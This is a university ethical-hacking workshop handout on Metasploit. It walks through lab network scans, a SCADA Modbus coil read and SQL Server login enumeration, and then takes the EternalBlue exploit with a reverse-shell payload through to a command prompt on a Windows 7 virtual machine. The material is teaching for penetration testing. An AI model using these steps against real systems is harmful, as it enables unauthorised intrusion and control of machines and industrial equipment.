
Ethical Hacking ACCA7033
Week 4 Metasploit in Practice -Part 1

Getting Started 

You will need Kali 2019 and any Windows (at least Windows 7) virtual machine for 

today's workshop. The RHOSTS IP address is the IP address of the target machine, not the 

one given in the example. Install Windows 7 as a VM using .iso files. https://

softlay.net/operating-system/windows-7-ultimate-full-version-free-download-iso-32-64-bit.html 

Using Metasploit for Reconnaissance. 

Reconnaissance is an essential part of the job of an ethical hacker or penetration tester. 

Without proper reconnaissance, your time and effort will most likely be in vain. Metasploit 

has evolved from a purely exploitation framework to a multi-faceted penetration testing tool, 

adding new capabilities such as reconnaissance. It is no longer necessary to carry separate 

tools for reconnaissance and exploitation. Metasploit can do everything. 

Furthermore, with the PostgreSQL database attached to Metasploit, we can save our results 

from port scanning and vulnerability scanning into the database and use them in the next 

phase of the penetration test. 

STEP 1: Fire Up Metasploit 

The first step in this course is to launch a Kali Linux Virtual Machine and start the 

PostgreSQL database before launching Metasploit; however, to launch Metasploit, type 

msfconsole in the Kali Linux terminal. 

• Open kali

• Open a terminal.

• On your Kali terminal, type sudo systemctl start postgresql

• Initiate the database using this command: msfdb init

• On your Kali terminal, type service postgresql start

https://softlay.net/operating-system/windows-7-ultimate-full-version-free-download-iso-32-64-bit.html
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After you've started the database, launch the Metasploit Framework console by typing 

msfconsole into your terminal. It takes a while for Metasploit to load everything into RAM, 

so be patient. You should eventually get something like this. 

STEP 2: nmap and db_nmap 

Usually, before starting a hack, we want to gather as much information on the target as 

possible. Let's begin by finding out what ports are open. Metasploit enables us to run nmap 

right from the msf prompt. Let's try scanning a system on our local area network with a TCP 

scan (-sT) looking for open ports between 1 and 1000 (-p1-1000). Please note that your 

"YOUR_TARGET_IP" should be the machine that you would like to exploit. Here is the 

command you need to execute: msf > nmap -sT YOUR_TARGET_IP/24 -p1-1000 



A. In this scenario, my target machine is a Windows XP virtual machine with an IP address 

of 192.168.2.26 assigned to it at the time this workshop exercise was created. Please keep 

in mind that your IP address will be different because the virtual machine reboots every 

day and a new set of IP addresses is assigned to all virtual machines following the reboot. 

 

 

 

 

B. After we've identified our target IP address, we'll conduct reconnaissance on the target 

machine in order to carry out further exploitation. We executed this command nmap -sT 

192.168.2.26/24 -p1-100 

 

 



  

 
 

 

As a result of the scan, nmap was able to scan all of the machines on our internal network and 

return the results of both open and closed ports. 

 

C. We can also use the db_nmap command to scan and save the results into Metasploit's 

postgresql attached database. That way, we can use the results later in the exploitation 

stage. Let's scan our targets with db_nmap with the following command: db_nmap YOUR 

TARGET IP/24 

 

 

 
 



 

 

As we can see above, Metasploit's nmap scanner was able to perform a port scan of every 

system on our subnet, identify open ports, and store that information in the database for later 

use. 

 

STEP 3: Scanning Modules 

A. Metasploit includes a plethora of scanning modules. If we open another terminal, we can 

navigate to Metasploit's auxiliary modules and list all the scanner modules using this 

command: cd /usr/share/metasploit-framework/modules/auxiliary. Once we are in the 

auxiliary modules, we can use the list command ls -l to see all the modules.  

 

 



B. Take note of the numerous directories in the screenshot above, which contain modules for a 

variety of auxiliary purposes. Let's go to the scanner directory and take a look around.  We 

navigated to the scanner directory by using the change directory command, "cd scanner," 

and then viewed the contents with ls -l. As shown below, there are hundreds of scanner 

modules, each contained within a directory dedicated to a specific target type.  

 

 

 
 

C. The SMB protocol has been problematic for over two decades on all operating systems. In 

2017, the Shadow Brokers released a stolen NSA exploit that attacked SMB and gave the 

attacker sysadmin privileges. This exploit became known as Eternal Blue, or MS17-010 in 

Microsoft parlance. There is a scanner in Metasploit that can determine whether a Windows 

7 or Server 2008 system is vulnerable to this exploit. If we navigate to the SMB sub-

directory and do a long listing on it, we see a scanner named "smb_ms17_010." We 

navigated to the SMB directory by using the change directory command, "cd smb," and 

then viewed the contents with ls -l. 

 



D. Exit the smb modules and let's load the smb_ms17_010 scanner into our framework and run 

it against a Windows 7 system. Execute the below commands to determine if the windows 

system is vulnerable 

msf5 > use auxiliary/scanner/smb/smb_ms17_010  

msf5 > set RHOSTS 192.168.2.26 

msf5 > run 

 

 

 

As you can see above, this scanner sent probes to the target system and came back and 

reported that it IS likely vulnerable! We will exploit that vulnerability next week 

 

 

E. Let's go to the Scada directory and take a look inside. There are 13 Scada scanner modules, 

as shown below. 

 



STEP 4 Conducting a SCADA Scan 
 

A. Let's try using one of those scada scanner modules to conduct a scan on a SCADA 

system (for more on SCADA Hacking, see my SCADA series here). 

msf > use auxiliary/scanner/scada/modbusclient 

 

 
B. We need to set the RHOST, the NUMBER of coils to read and READ_COIL parameters. 

 

 
 

 

C. As you can see in the screenshots above, we used this scada scanner to read the coils (the coils are 

ON/OFF switches inside the SCADA facility) on a remote SCADA system. This would be the first 

step before exploiting this system. 

 

http://www.hackers-arise.com/scada-hacking


STEP 5 MS SQL Login Scan 

A. Among the numerous scans within Metasploit is one that can enumerate logins on Microsoft's 

flagship database server, SQL Server. We can use this module by typing; 

msf > use auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli 

msf > use auxiliary/admin/mssql/mssql_enum_sql_logins 

After loading the module, we learn more about this scanner by typing info.  

msf > info 

 

 

B. As you can see in the description, this module can be used to fuzz available SQL Server 

logins providing us with logins that can then be brute forced with one of many different 

password cracking tools. 

 

Once we provide it an RHOST, it begins scanning for available logins on the database server. 

msf > set RHOST 192.168.181.129 

msf > exploit 



 

C. As you can see above, this scanner was able to find the login "sa" account or the sysadmin 

of this SQL Server installation! 

 

 

EXPLOITATION WITH ETERNALBLUE 

 

STEP 1 Use Eternal Blue 
 

A. Once you have the "msf >" prompt, you are ready to start exploiting your target system. We 

need to first load the EternalBlue exploit module into the Metasploit console. We can 

accomplish this by searching for "EternalBlue" and selecting the exploit we want to use. In 

this demonstration, I have selected the number three and used this command to load it: msf 

> use exploit/windows/smb/ms17_010_eternalblue 

 

 

 

 

STEP 2 Check "Info" 
 

B. When I first load a module, the first thing I typically do is check its "info." This provides 

us with information that we will likely need to use the module as well as information 

about how the module works. The command to use is msf > info 



 
 

C. As you can see above, Metasploit provides us with some basic information (Name, 

Platform, Privileged, Rank, etc.) on the module at the top, some options in the middle (not 

shown) and a description of the module at the bottom (below). 

 

 



STEP 3 Set the Payload 
 

A. Now that we have loaded our module and have some basic information on it, it is time to 

select a payload to work with it. To see all the payloads that we will work with in this 

module, you can use this command: msf > show payloads 

 

 

 

B. It is important to note that the "show payloads" command only displays ALL payloads. In 

this example, however, I will use our tried and true generic/shell_reverse_tcp payload, but 

you can use any of the others on your payload list. If this payload is successful, it will 

provide us with a Windows command shell on our target system.  Here’s the command to 

use: msf > set payload generic/shell_reverse_tcp 

 

 

 

STEP 4 Set Options 
 

A. The last step before we exploit is to set our options. To see which options we can use with 

this exploit and payload combination, we use this command: msf > show options 

 



B. As you can see, there are numerous options, but the only ones we need to set are LHOST 

(our IP) and RHOST (the target IP). 

 

msf > set LHOST 192.168.2.16 

msf > set RHOST 192.168.2.26 

 

After setting those options, let's once again check the options to make certain everything was 

typed properly and that everything we need is set.  

 

We use the show option command again. msf > show options 

 

 

 

 

 

 

STEP 5 Exploit! 
 

A. Everything appears to be in order, so all that is left now is to exploit that Windows 7 

system! 

 

msf > exploit



S 

 
 

B. As you can see above, Metasploit and EternalBlue are attempted to exploit the Windows 

7 SMB protocol. Down below you can see that Metasploit reports back that we are 

successful and we received a Windows command prompt on the target system. Success! 

 

C. To verify that we are now on the Windows system, let's type "dir" to see whether it 

displays Windows files and directories. 

 

 
 



 
 

 

 
 

 

THE ARMITAGE METASPLOIT USER INTERFACE 

A. After the msfconsole, the Armitage GUI is probably the most popular Metasploit interface. 

It is particularly favoured by those that come from a Windows or Mac interface and want 

an easy to use graphical user interface (GUI). 

 

To install Armitage, simply use the apt-get command as Armitage is in the Kali repository. 

 

kali > apt-get install armitage 
 

 
 



B. Then, we start the postgresql database. 

 

kali > service postgresql start 
 

 

C. Now, we simply enter the "armitage" command, and the connection window pops up. 

Simply click "Connect". 

 

 
 

 

D. This now starts the msfrpcd (the Metasploit Framework RPC daemon). This loads all the 

Ruby scripts and takes a while, so be patient. 

 

 

 

E. Eventually, Armitage loads completely and presents you the Armitage interface (when I 

first loaded Armitage, I received numerous error messages but this did not seem to 

interfere with the smooth operation of Armitage). 

 

 



 
 

 

F. As we can see in the upper left corner, Armitage presents us with an easy-to-use 

directory explorer. The directories are broken out into the different types of modules, 

auxiliary, exploit, post, and payloads. 

http://www.hackers-arise.com/single-post/2017/01/30/Metasploit-Part-2-Metasploit-Module-Types
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G. Let's take a look at the exploit’s modules. Click on the arrow next to exploits and expand it. 

Now, you can see that the exploits are in sub-directories based upon target type, primary 

broken out by operating system. Let's open up Android and then the sub-directory 

"browser". 

 

 

 

 

H. There, we will find three exploits for Android browsers. When we double click on the 

infamous, Android Stagefright exploit, it opens another window with all the information 

we need to use this exploit, including info in the upper window, the options in the middle 

window and targets beneath that. At the very bottom, we can see the launch button 

(exploit). Simply make certain that all the options are set correctly and then click on 

"Launch" to exploit the Android target. 

 




